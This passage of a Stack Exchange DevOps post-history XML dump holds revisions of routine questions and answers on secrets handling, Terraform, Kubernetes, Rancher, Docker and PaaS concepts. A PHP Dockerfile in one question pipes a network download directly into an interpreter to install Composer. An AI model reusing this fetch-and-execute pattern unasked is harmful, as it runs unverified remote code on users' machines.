service account keys. &#xD;&#xA;&#xD;&#xA;The script that pushes images to a bucket must then periodically &quot;phone home&quot; to collect a fresh GPG encrypted credentials key file. It can then [decrypt][3] it with its own private key. One way to do this is to put the encrypted keys into a different bucket. Create a single service account that can only read that bucket. Create a single credentials key file for that service account that you install onto every machine. That key can then only be used to only collect encrypted keys that can only be decrypted on the correct host. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.gnupg.org/gph/en/manual/c14.html#AEN25&#xD;&#xA;  [2]: https://cloud.google.com/iam/docs/creating-managing-service-account-keys#deleting_service_account_keys&#xD;&#xA;  [3]: https://devhints.io/gnupg#decrypting" ContentLicense="CC BY-SA 4.0" />
  <row Id="40057" PostHistoryTypeId="2" PostId="13028" RevisionGUID="5f2c8e00-0ca8-4235-b66e-69fbb216715e" CreationDate="2020-12-27T02:15:40.260" UserId="25338" Text="So I have an azure devops repo and pipeline that copys the repo to my server when changes are pushed. However there are times when some of our developers may make a direct edit to the production server. Is there a way for me to have the azure agent that is installed on the server watch the files for any additions/changes and if/when this happens it pushes the files to the repo?&#xD;&#xA;&#xD;&#xA;I have tried to find a solution for this but have been unsuccessful." ContentLicense="CC BY-SA 4.0" />
  <row Id="40058" PostHistoryTypeId="1" PostId="13028" RevisionGUID="5f2c8e00-0ca8-4235-b66e-69fbb216715e" CreationDate="2020-12-27T02:15:40.260" UserId="25338" Text="Watch folder, when direct changes are made push to repo" ContentLicense="CC BY-SA 4.0" />
  <row Id="40059" PostHistoryTypeId="3" PostId="13028" RevisionGUID="5f2c8e00-0ca8-4235-b66e-69fbb216715e" CreationDate="2020-12-27T02:15:40.260" UserId="25338" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40060" PostHistoryTypeId="5" PostId="13001" RevisionGUID="46f5a973-5fce-4eb3-a1b4-c6e4292efd99" CreationDate="2020-12-27T06:17:08.010" UserId="25330" Comment="fixed grammar." Text="Question:&#xD;&#xA;I tried to answer this on my own, but couldn't find a definitive answer. Before investing more time in getting Rancher / my setup running, I would need directives.&#xD;&#xA;&#xA;Suppose I want to use Rancher to bootstrap a Kubernetes cluster: does this create a hen-egg problem ? To my understanding, I need to have Rancher running on Kubernetes to create a Kubernetes cluster. &#xA;&#xA;But as I want to use Rancher to create a Kubernetes cluster, this seems rather repetitive.&#xD;&#xA;Can I create a minimal Kubernetes cluster for the sole purpose of running Rancher ? &#xD;&#xA;Do I need Rancher after I created the Hetzner based on the Kubernetes cluster? Or can I dump it afterwards? &#xD;&#xA;&#xD;&#xA;Background:&#xD;&#xA;For personal projects that I want to make available on the internet, I decided to use Kubernetes. Hence, I looked at several providers, and decided not to use ready-made managed services like such as Digitalocean or Scaleway. Instead, I opted for the provider I prefer: Hetzner.&#xD;&#xA;I googled for approaches on how to install K8S on plain VMs and found this the most promising: https://vitobotta.com/2020/10/30/kubernetes-hetzner-cloud-rancher-custom-nodes/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40061" PostHistoryTypeId="24" PostId="13001" RevisionGUID="46f5a973-5fce-4eb3-a1b4-c6e4292efd99" CreationDate="2020-12-27T06:17:08.010" Comment="Proposed by 25330 approved by -1 edit id of 1314" ContentLicense="CC BY-SA 4.0" />
  <row Id="40062" PostHistoryTypeId="5" PostId="13001" RevisionGUID="b2880c2e-b8e6-45e1-9fb3-a389f47803b1" CreationDate="2020-12-27T06:17:08.010" UserId="354" Comment="fixed grammar." Text="Question:&#xD;&#xA;I tried to answer this on my own, but couldn't find a definitive answer. Before investing more time in getting Rancher / my setup running, I would need directives.&#xD;&#xA;&#xD;&#xA;Suppose I want to use Rancher to bootstrap a Kubernetes cluster: does this create a hen-egg problem? To my understanding, I need to have Rancher running on Kubernetes to create a Kubernetes cluster. &#xD;&#xA;&#xD;&#xA;But as I want to use Rancher to create a Kubernetes cluster, this seems rather repetitive.&#xD;&#xA;Can I create a minimal Kubernetes cluster for the sole purpose of running Rancher ? &#xD;&#xA;Do I need Rancher after I created the Hetzner based on the Kubernetes cluster? Or can I dump it afterwards? &#xD;&#xA;&#xD;&#xA;Background:&#xD;&#xA;For personal projects that I want to make available on the internet, I decided to use Kubernetes. Hence, I looked at several providers, and decided not to use ready-made managed services like such as Digitalocean or Scaleway. Instead, I opted for the provider I prefer: Hetzner.&#xD;&#xA;I googled for approaches on how to install K8S on plain VMs and found this the most promising: https://vitobotta.com/2020/10/30/kubernetes-hetzner-cloud-rancher-custom-nodes/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40063" PostHistoryTypeId="5" PostId="13014" RevisionGUID="ba70d329-7e3e-44a2-a9b5-339a22c8446e" CreationDate="2020-12-27T07:20:45.433" UserId="25330" Comment="fixed grammar." Text="I am using terraform docker image `hashicorp/terraform:latest` and I define the provider in main.tf as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;terraform {&#xD;&#xA;  required_providers {&#xD;&#xA;    gitlab = {&#xD;&#xA;      source = &quot;gitlabhq/gitlab&quot;&#xD;&#xA;      version = &quot;3.3.0&quot;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;provider &quot;gitlab&quot; {&#xD;&#xA;    token = var.gitlab_token&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run terraform apply, I get the following error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Initializing provider plugins...&#xD;&#xA;- Finding gitlabhq/gitlab versions matching &quot;3.3.0&quot;...&#xD;&#xA;- Finding latest version of hashicorp/aws...&#xD;&#xA;- Finding latest version of hashicorp/gitlab...&#xD;&#xA;- Installing gitlabhq/gitlab v3.3.0...&#xD;&#xA;- Installed gitlabhq/gitlab v3.3.0 (signed by a HashiCorp partner, key ID BC097C3333027B14)&#xD;&#xA;- Installing hashicorp/aws v3.22.0...&#xD;&#xA;- Installed hashicorp/aws v3.22.0 (signed by HashiCorp)&#xD;&#xA;Partner and community providers are signed by their developers.&#xD;&#xA;If you'd like to know more about provider signing, you can read about it here:&#xD;&#xA;https://www.terraform.io/docs/plugins/signing.html&#xD;&#xA;Error: Failed to query available provider packages&#xD;&#xA;Could not retrieve the list of available versions for provider&#xD;&#xA;hashicorp/gitlab: provider registry registry.terraform.io does not have a&#xD;&#xA;provider named registry.terraform.io/hashicorp/gitlab&#xD;&#xA;If you have just upgraded directly from Terraform v0.12 to Terraform v0.14&#xD;&#xA;then please upgrade to Terraform v0.13 first and follow the upgrade guide for&#xD;&#xA;that release, which might help you address this problem.&#xD;&#xA;Did you intend to use gitlabhq/gitlab? If so, you must specify that source&#xD;&#xA;address in each module which requires that provider. To see which modules are&#xD;&#xA;currently depending on hashicorp/gitlab, run the following command:&#xD;&#xA;    terraform providers&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I can't find the solution to this issue from the documentation. Any suggestions?&#xD;&#xA;&#xD;&#xA;terraform --version&#xD;&#xA;Terraform v0.14.3" ContentLicense="CC BY-SA 4.0" />
  <row Id="40064" PostHistoryTypeId="24" PostId="13014" RevisionGUID="ba70d329-7e3e-44a2-a9b5-339a22c8446e" CreationDate="2020-12-27T07:20:45.433" Comment="Proposed by 25330 approved by 354, 40 edit id of 1312" ContentLicense="CC BY-SA 4.0" />
  <row Id="40065" PostHistoryTypeId="5" PostId="13019" RevisionGUID="f6a156d5-db83-401e-847c-458f530ebd9b" CreationDate="2020-12-27T07:21:10.920" UserId="25330" Comment="fixed grammar." Text="I am using KUBE_PING (jgroups-kubernetes-1.0.13.Final.jar) as the discovery protocol for my application running under OpenShift-4.5 (Kubernetes-version 1.18.3). When I ran a vulnerability report against jgroups-kubernetes-1.0.13.Final.jar the NVD database reported CRITICAL vulnerabilities against the [Kubernetes][1] Server (Eg: CVE-2015-7528, CVE-2020-8557)&#xD;&#xA;&#xD;&#xA;My question here is that the Kubernetes API Server vulnerabilities are to be managed separately by the Cloud Container Platform (Like OpenShift, Amazon EKS, etc) and should be responsible for the same. These vulnerabilities are not considered to be directly against JGroups discovery client for Kubernetes. The jgroups-kubernetes-1.0.13.Final.jar is only vulnerable when connecting against the reported vulnerable Kubernetes server versions. Is this the right assumption?&#xD;&#xA;&#xD;&#xA;Main Point - Whether the version no. in jgroups-kubernetes-ver.jar has any dependency to the actual kubernetes server version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can someone please answer? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/kubernetes-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="40066" PostHistoryTypeId="24" PostId="13019" RevisionGUID="f6a156d5-db83-401e-847c-458f530ebd9b" CreationDate="2020-12-27T07:21:10.920" Comment="Proposed by 25330 approved by 40 edit id of 1311" ContentLicense="CC BY-SA 4.0" />
  <row Id="40067" PostHistoryTypeId="5" PostId="12942" RevisionGUID="7b39632f-5f96-44b8-9cf2-0ba50896cbab" CreationDate="2020-12-27T07:21:17.710" UserId="25330" Comment="fixed grammar." Text="I want to dockerize my php application and deploy it in production. Here is my application structure :&#xD;&#xA;&#xD;&#xA;    api&#xD;&#xA;    |&#xD;&#xA;    +-- src&#xD;&#xA;    +-- config&#xD;&#xA;    +-- vendor&#xD;&#xA;    +-- tests&#xD;&#xA;    +-- public&#xD;&#xA;&#xD;&#xA;I need to embed `api/*` in my container, and I'm confused about the best approach. &#xD;&#xA;Here is mine :&#xD;&#xA;&#xD;&#xA; 1. A light multi-stage docker image (around 85 mb but can be more optimized)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        FROM php:7.4-fpm-alpine AS base&#xD;&#xA;    &#xD;&#xA;        WORKDIR /var/www/html&#xD;&#xA;        ENV COMPOSER_ALLOW_SUPERUSER 1&#xD;&#xA;        RUN apk update &amp;&amp; \&#xD;&#xA;          docker-php-ext-install mysqli tokenizer pdo_mysql &amp;&amp; \&#xD;&#xA;          curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer&#xD;&#xA;    &#xD;&#xA;        FROM base AS dev&#xD;&#xA;    &#xD;&#xA;        COPY xdebug.ini /usr/local/etc/php/conf.d/xdebug-dev.ini&#xD;&#xA;        RUN apk add --no-cache --virtual .phpize-deps $PHPIZE_DEPS &amp;&amp; \&#xD;&#xA;          pecl install xdebug-2.9.1 &amp;&amp; \&#xD;&#xA;          docker-php-ext-enable xdebug &amp;&amp; \&#xD;&#xA;          touch /tmp/xdebug.log &amp;&amp; \&#xD;&#xA;          chmod -R 666 /tmp/xdebug.log &amp;&amp; \&#xD;&#xA;          apk del -f .phpize-deps&#xD;&#xA;&#xD;&#xA;2. A mounted volume (docker-compose.yml)&#xD;&#xA;&#xD;&#xA;       api:&#xD;&#xA;         volumes:&#xD;&#xA;           - ./api:/var/www/html&#xD;&#xA;         command: composer install &amp;&amp; php-fpm;&#xD;&#xA;&#xD;&#xA;I saw a lot of docker images using `COPY ..` instruction in `Dockerfile` instead of volumes. I believe `COPY` is great to copy small config files (or a small build for compiled languages), but it's not optimized to keep the images small (basic rule with docker).&#xD;&#xA;&#xD;&#xA;Am I missing something? &#xD;&#xA;For example, is it bad practice to handle volumes from outside the dev environment ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40068" PostHistoryTypeId="24" PostId="12942" RevisionGUID="7b39632f-5f96-44b8-9cf2-0ba50896cbab" CreationDate="2020-12-27T07:21:17.710" Comment="Proposed by 25330 approved by 354, 40 edit id of 1313" ContentLicense="CC BY-SA 4.0" />
  <row Id="40069" PostHistoryTypeId="5" PostId="13018" RevisionGUID="3e1290b4-f594-4997-b4a8-496fa9b36165" CreationDate="2020-12-27T07:21:25.563" UserId="25330" Comment="fixed grammar." Text="**My _setup_**: &#xD;&#xA;&#xD;&#xA;### AWS EKS&#xD;&#xA;&#xD;&#xA;    * Platform: eks.3&#xD;&#xA;    * K8s: 1.18&#xD;&#xA;    &#xD;&#xA;### ECK (Elastic Cloud Kubernetes):&#xD;&#xA;```&#xD;&#xA;* Deployment via: Operator&#xD;&#xA;* Elasticsearch version: 7.10.1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Summary**&#xD;&#xA;&#xD;&#xA;I'm trying to install the `repository-s3` plugin at Elasticsearch _pod_.&#xD;&#xA;&#xD;&#xA;Here's my `YAML`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: elasticsearch.k8s.elastic.co/v1&#xD;&#xA;kind: Elasticsearch&#xD;&#xA;metadata:&#xD;&#xA;  name: elastic-test&#xD;&#xA;spec:&#xD;&#xA;  version: 7.10.1&#xD;&#xA;  http:&#xD;&#xA;    tls:&#xD;&#xA;      selfSignedCertificate:&#xD;&#xA;        disabled: true&#xD;&#xA;  nodeSets:&#xD;&#xA;  - name: default&#xD;&#xA;    count: 1&#xD;&#xA;    config:&#xD;&#xA;      node.store.allow_mmap: false&#xD;&#xA;    podTemplate:&#xD;&#xA;      metadata:&#xD;&#xA;        annotations:&#xD;&#xA;          traffic.sidecar.istio.io/includeInboundPorts: &quot;*&quot;&#xD;&#xA;          traffic.sidecar.istio.io/excludeOutboundPorts: &quot;9300,443&quot; &#xD;&#xA;          traffic.sidecar.istio.io/excludeInboundPorts: &quot;9300&quot;&#xD;&#xA;      spec:&#xD;&#xA;        automountServiceAccountToken: true&#xD;&#xA;        initContainers:&#xD;&#xA;          - name: install-plugins&#xD;&#xA;            securityContext:&#xD;&#xA;              privileged: true&#xD;&#xA;            command: ['sh', '-c', 'bin/elasticsearch-plugin install --batch repository-s3']&#xD;&#xA;```&#xD;&#xA;And when I'm _applying_ the deployment crashes:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Exception in thread &quot;main&quot; org.elasticsearch.bootstrap.BootstrapException: java.nio.file.AccessDeniedException: /usr/share/elasticsearch/config/repository-s3&#xD;&#xA;Likely root cause: java.nio.file.AccessDeniedException: /usr/share/elasticsearch/config/repository-s3&#xD;&#xA;	at java.base/sun.nio.fs.UnixException.translateToIOException(UnixException.java:90)&#xD;&#xA;	at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:106)&#xD;&#xA;	at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:111)&#xD;&#xA;	at java.base/sun.nio.fs.UnixFileSystemProvider.newDirectoryStream(UnixFileSystemProvider.java:431)&#xD;&#xA;	at java.base/java.nio.file.Files.newDirectoryStream(Files.java:476)&#xD;&#xA;	at java.base/java.nio.file.FileTreeWalker.visit(FileTreeWalker.java:300)&#xD;&#xA;	at java.base/java.nio.file.FileTreeWalker.next(FileTreeWalker.java:373)&#xD;&#xA;	at java.base/java.nio.file.Files.walkFileTree(Files.java:2840)&#xD;&#xA;	at org.elasticsearch.common.logging.LogConfigurator.configure(LogConfigurator.java:220)&#xD;&#xA;	at org.elasticsearch.common.logging.LogConfigurator.configure(LogConfigurator.java:129)&#xD;&#xA;	at org.elasticsearch.bootstrap.Bootstrap.init(Bootstrap.java:354)&#xD;&#xA;	at org.elasticsearch.bootstrap.Elasticsearch.init(Elasticsearch.java:170)&#xD;&#xA;	at org.elasticsearch.bootstrap.Elasticsearch.execute(Elasticsearch.java:161)&#xD;&#xA;	at org.elasticsearch.cli.EnvironmentAwareCommand.execute(EnvironmentAwareCommand.java:86)&#xD;&#xA;	at org.elasticsearch.cli.Command.mainWithoutErrorHandling(Command.java:127)&#xD;&#xA;	at org.elasticsearch.cli.Command.main(Command.java:90)&#xD;&#xA;	at org.elasticsearch.bootstrap.Elasticsearch.main(Elasticsearch.java:126)&#xD;&#xA;	at org.elasticsearch.bootstrap.Elasticsearch.main(Elasticsearch.java:92)&#xD;&#xA;For complete error details, refer to the log at /usr/share/elasticsearch/logs/elastic-test.log&#xD;&#xA;```&#xD;&#xA;Has someone managed to get around this?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40070" PostHistoryTypeId="24" PostId="13018" RevisionGUID="3e1290b4-f594-4997-b4a8-496fa9b36165" CreationDate="2020-12-27T07:21:25.563" Comment="Proposed by 25330 approved by 354, 40 edit id of 1310" ContentLicense="CC BY-SA 4.0" />
  <row Id="40071" PostHistoryTypeId="5" PostId="13026" RevisionGUID="7371ab07-2387-4ded-b6ba-19857ba16afa" CreationDate="2020-12-27T11:14:06.877" UserId="10599" Comment="edited body" Text="TL;DR &#xD;&#xA;&#xD;&#xA;Yes, CaaS is very much a thing it means Container-Orchestration-as-a-Service. Kubernetes is the [leading technology][1] in this space. &#xD;&#xA;&#xD;&#xA;Long Version: &#xD;&#xA;&#xD;&#xA;The key to understanding the following progression is the concept of &quot;-as-a-Service&quot;:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;It means you are paying either an internal or external team money to host a service onto which you deploy your business solution. Yes, you can use containers on top of a dedicated hardware service. You can use containers on-top of IaaS. Yet you have to look after the low-level concerns such as installing and patching the operating system. If you are simply renting VMs from a cloud provider you are not renting a container solution as a service. &#xD;&#xA;&#xD;&#xA;When people talk about CaaS they usually mean “Container-Orchestration-as-a-service”. Examples include Amazon Elastic Kubernetes Service, Azure Kubernetes Service, and Google Kubernetes Engine. There is a vast difference between deploying software onto a Kubernetes cluster that someone else automated for you and having to configure a bunch of IaaS VMs to reliably run containers yourself. High-performance Kubernetes installations use specialist 'single purpose' [operating systems][2] such that the servers are more like appliances than typical VMs. The idea is that the cluster can be patched as a rolling upgrade without any down time of the service running on the cluster. &#xD;&#xA;&#xD;&#xA;The historic position before we had containers, or “functions” would have been:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;In that it is PaaS which, IMHO, is the vague classification that has changed over time with the rise of containers.  Examples of early PaaS solutions that came before containers are the original Heroku, the original CloudFoundry, and early versions of RedHat Openshift. They were “DevOps platforms” before the term DevOps was invented. The original versions used some of the Linux techniques that containers later made famous but it was an internal detail. The main marketing point was developer productivity of having build and deploy pipelines that deployed onto environments that were easy to manage and patch. The servers were treated as sheep and the vendor supplied service packs to keep them secure. &#xD;&#xA;&#xD;&#xA;The problems with the original PaaS concept was no standardisation, vendor lock-in, little portability, as well as proprietary tooling. They had embedded and proprietary build systems as well as proprietary configuration and deployment mechanisms. Container orchestrators have revolutionised things by fixing those issues. The big open-source PaaS solutions such as OpenShift, CloudFoundry and Mesosphere now support Kubernetes. Users no longer need to use a proprietary build and deploy pipeline nor a propriety configuration mechanisms. They can use a vast number of different tools to build containers that they pushed up to any number of hosted container registries. They can then use the Kubernetes API to deploy into their chosen cloud provider. IMHO the original PaaS concept of “rapidly build, deploy and configure a web app” has standardised into CaaS as the main runtime. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.stackrox.com/kubernetes-adoption-security-and-market-share-for-containers/&#xD;&#xA;  [2]: https://docs.openshift.com/container-platform/4.6/architecture/architecture-rhcos.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="40072" PostHistoryTypeId="5" PostId="13026" RevisionGUID="365c8402-fa0c-4b99-8840-6eec9117da85" CreationDate="2020-12-27T11:26:35.053" UserId="10599" Comment="added 42 characters in body" Text="TL;DR &#xD;&#xA;&#xD;&#xA;Yes, CaaS is very much a thing it means Container-Orchestration-as-a-Service. Kubernetes is the [leading technology][1] in this space. &#xD;&#xA;&#xD;&#xA;Long Version: &#xD;&#xA;&#xD;&#xA;The key to understanding the following progression is the concept of &quot;-as-a-Service&quot;:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;It means you are paying either an internal or external team money to host a service onto which you deploy your business solution. Yes, you can use containers on top of a dedicated hardware service. You can use containers on-top of IaaS. Yet you have to look after the low-level concerns such as installing and patching the operating system. If you are simply renting VMs from a cloud provider you are not renting a container solution as a service. &#xD;&#xA;&#xD;&#xA;When people talk about CaaS they usually mean “Container-Orchestration-as-a-service”. Examples include Amazon Elastic Kubernetes Service, Azure Kubernetes Service, and Google Kubernetes Engine. There is a vast difference between deploying software onto a Kubernetes cluster that someone else automated for you and having to configure a bunch of IaaS VMs to reliably run containers yourself. High-performance Kubernetes installations use specialist 'single purpose' [operating systems][2] such that the servers are more like appliances than typical VMs. The idea is that the cluster (both OS and Kubernetes software) can be security patched as a rolling upgrade without any downtime of the services hosted on the cluster. &#xD;&#xA;&#xD;&#xA;The historic position before we had containers, or “functions” would have been:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;In that it is PaaS which, IMHO, is the vague classification that has changed over time with the rise of containers.  Examples of early PaaS solutions that came before containers are the original Heroku, the original CloudFoundry, and early versions of RedHat Openshift. They were “DevOps platforms” before the term DevOps was invented. The original versions used some of the Linux techniques that containers later made famous, but it was an internal detail. The main marketing points made were two-fold. The first was developer productivity of having but in CI/CD and the second was that the servers were easy to security patch and administer. The servers were treated like sheep and the vendor-supplied service packs to keep them secure. &#xD;&#xA;&#xD;&#xA;The problems with the original PaaS concept was no standardisation, vendor lock-in, little portability, as well as proprietary tooling. They had embedded and proprietary build systems as well as proprietary configuration and deployment mechanisms. Container orchestrators have revolutionised things by fixing those issues. The big open-source PaaS solutions such as OpenShift, CloudFoundry and Mesosphere now support Kubernetes. Users no longer need to use a proprietary build and deploy pipeline nor a propriety configuration mechanisms. They can use a vast number of different tools to build containers that they pushed up to any number of hosted container registries. They can then use the Kubernetes API to deploy into their chosen cloud provider. IMHO the original PaaS concept of “rapidly build, deploy and configure a web app” has standardised into CaaS as the main runtime. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.stackrox.com/kubernetes-adoption-security-and-market-share-for-containers/&#xD;&#xA;  [2]: https://docs.openshift.com/container-platform/4.6/architecture/architecture-rhcos.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="40073" PostHistoryTypeId="5" PostId="13026" RevisionGUID="ec242f52-a975-4ac5-bbce-5f4439a1c6c5" CreationDate="2020-12-27T11:35:45.343" UserId="10599" Comment="added 42 characters in body" Text="TL;DR &#xD;&#xA;&#xD;&#xA;Yes, CaaS is very much a thing it means Container-Orchestration-as-a-Service. Kubernetes is the [leading technology][1] in this space. &#xD;&#xA;&#xD;&#xA;Long Version: &#xD;&#xA;&#xD;&#xA;The key to understanding the following progression is the concept of &quot;-as-a-Service&quot;:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;It means you are paying either an internal or external team money to host a service onto which you deploy your business solution. Yes, you can use containers on top of a dedicated hardware service. You can use containers on-top of IaaS. Yet you have to look after the low-level concerns such as installing and patching the operating system. If you are simply renting VMs from a cloud provider you are not renting a container solution as a service. &#xD;&#xA;&#xD;&#xA;When people talk about CaaS they usually mean “Container-Orchestration-as-a-service”. Examples include Amazon Elastic Kubernetes Service, Azure Kubernetes Service, and Google Kubernetes Engine. There is a vast difference between deploying software onto a Kubernetes cluster that someone else automated for you and having to configure a bunch of IaaS VMs to reliably run containers yourself. High-performance Kubernetes installations use specialist 'single purpose' [operating systems][2] such that the servers are more like appliances than typical VMs. The idea is that the cluster (both OS and Kubernetes software) can be security patched as a rolling upgrade without any downtime of the services hosted on the cluster. &#xD;&#xA;&#xD;&#xA;The historic position around 2011 before Docker was released in 2013 would have been:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;In that, it is PaaS which, IMHO, is the vague classification that has changed over time with the rise of containers.  Examples of early PaaS solutions that came before containers are the original Heroku, the original CloudFoundry, and early versions of RedHat Openshift. They were “DevOps platforms” before the term DevOps was invented. The original versions used some of the Linux techniques that containers later made famous, but it was an internal detail. The main marketing points made were two-fold. The first was developer productivity of having built-in CI/CD and the second was that the servers were easy to security patch and administer. The servers were treated like sheep and the vendor-supplied service packs to keep them secure.&#xD;&#xA;&#xD;&#xA;The problems with the original PaaS concept was no standardisation, vendor lock-in, little portability, as well as proprietary tooling. They had embedded and proprietary build systems as well as proprietary configuration and deployment mechanisms. Opensource container orchestrators have revolutionised things by fixing those problems. The big open-source PaaS solutions such as OpenShift, CloudFoundry and Mesosphere now all support Kubernetes. Users no longer need to use a proprietary build and deploy pipeline nor propriety configuration mechanisms. They can use a vast number of different tools to build containers that they pushed up to any number of hosted container registries. They can then use the Kubernetes API to deploy into their chosen cloud provider. IMHO the original PaaS concept of “rapidly build, deploy and configure a web app” has standardised into CaaS as the main runtime. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.stackrox.com/kubernetes-adoption-security-and-market-share-for-containers/&#xD;&#xA;  [2]: https://docs.openshift.com/container-platform/4.6/architecture/architecture-rhcos.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="40074" PostHistoryTypeId="2" PostId="13029" RevisionGUID="d79c51d1-d6e0-4faf-a9af-b59df487a045" CreationDate="2020-12-27T20:38:35.500" UserId="25342" Text="I am looking for a way to provide secrets to a container running on Google Cloud Run responding to the following criteria: &#xD;&#xA; - secure&#xD;&#xA; - centralized &amp; pulled based&#xD;&#xA; - free&#xD;&#xA; - simple&#xD;&#xA; - working with a team, with various trust scopes&#xD;&#xA; - host agnostic: changing 1 config will be the same on aws, gcp, azure&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When starting a new project with containers, I always come to the point where I need to manage secrets, and I often find it difficult.  **My current solution** is to store my secrets encrypted on a public git repository, and decrypt them inside the container, in the entry point script. &#xD;&#xA;&#xD;&#xA;But I don't like so much installing gpg along with Django and it's dependencies. I am now thinking of running another container on the same network, which sole responsibility will be serving the config to the first container. &#xD;&#xA;&#xD;&#xA;**Is it secure ? Is there a better way ?** " ContentLicense="CC BY-SA 4.0" />
  <row Id="40075" PostHistoryTypeId="1" PostId="13029" RevisionGUID="d79c51d1-d6e0-4faf-a9af-b59df487a045" CreationDate="2020-12-27T20:38:35.500" UserId="25342" Text="is a secrets-provider-container a good idea?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40076" PostHistoryTypeId="3" PostId="13029" RevisionGUID="d79c51d1-d6e0-4faf-a9af-b59df487a045" CreationDate="2020-12-27T20:38:35.500" UserId="25342" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40077" PostHistoryTypeId="2" PostId="13030" RevisionGUID="2e93ba99-948d-4d37-9910-18e843061111" CreationDate="2020-12-28T06:24:00.137" UserId="7837" Text="I am on GCP and neither ping nor telnet are installed on what appears to be a Linux flavor called ChromeOS. I am really disappointed to see basically zero hits on internet search for this issue of simply how to install basic utilities like this on this Linux flavor. If someone could help me figure out the package manager etc and get these installed would be much obliged..&#xD;&#xA;&#xD;&#xA;and if someone could create the &quot;ping&quot;, &quot;telnet&quot; and &quot;chromeos&quot; tags, the world would thank you.." ContentLicense="CC BY-SA 4.0" />
  <row Id="40078" PostHistoryTypeId="1" PostId="13030" RevisionGUID="2e93ba99-948d-4d37-9910-18e843061111" CreationDate="2020-12-28T06:24:00.137" UserId="7837" Text="How to install ping or telnet on ChromeOS (GCP VMs)" ContentLicense="CC BY-SA 4.0" />
  <row Id="40079" PostHistoryTypeId="3" PostId="13030" RevisionGUID="2e93ba99-948d-4d37-9910-18e843061111" CreationDate="2020-12-28T06:24:00.137" UserId="7837" Text="&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40080" PostHistoryTypeId="5" PostId="11622" RevisionGUID="10b394b2-a965-4cfc-809d-7679054cdacd" CreationDate="2020-12-28T07:04:49.023" UserId="22293" Comment="deleted 53 characters in body" Text="We were able to achieve this using Jenkins multibranch pipeline, upon pull request creation and update pipeline would create a new job. It'll check out the pull request so we can build / run unit tests / sonarqube analysis on it.&#xD;&#xA;&#xD;&#xA;Refer following for step by step guide,&#xD;&#xA;https://www.whatsuptec.com/?p=72" ContentLicense="CC BY-SA 4.0" />
  <row Id="40081" PostHistoryTypeId="2" PostId="13031" RevisionGUID="16a25cf1-a26d-4a0d-9e27-474dc30fe6fc" CreationDate="2020-12-28T09:01:58.490" UserId="25346" Text="Is there a good web console or tool that would help enable us to review Shell Scripts?&#xD;&#xA;&#xD;&#xA;Usually when maintaining a system, we would run scripts that are managed, or we could run scripts that run only once.  However, these scripts must go through a vetting process to make sure they are secure, compliant, and won't create an issue.&#xD;&#xA;&#xD;&#xA;We could of course create a git repo and create PR each time we want to run a script, but I am looking for a way for our members to submit scripts without fussing too much about format or folder structure." ContentLicense="CC BY-SA 4.0" />
  <row Id="40082" PostHistoryTypeId="1" PostId="13031" RevisionGUID="16a25cf1-a26d-4a0d-9e27-474dc30fe6fc" CreationDate="2020-12-28T09:01:58.490" UserId="25346" Text="Suggestions for a good run command review console" ContentLicense="CC BY-SA 4.0" />
  <row Id="40083" PostHistoryTypeId="3" PostId="13031" RevisionGUID="16a25cf1-a26d-4a0d-9e27-474dc30fe6fc" CreationDate="2020-12-28T09:01:58.490" UserId="25346" Text="&lt;python&gt;&lt;shell-script&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 4.0" />
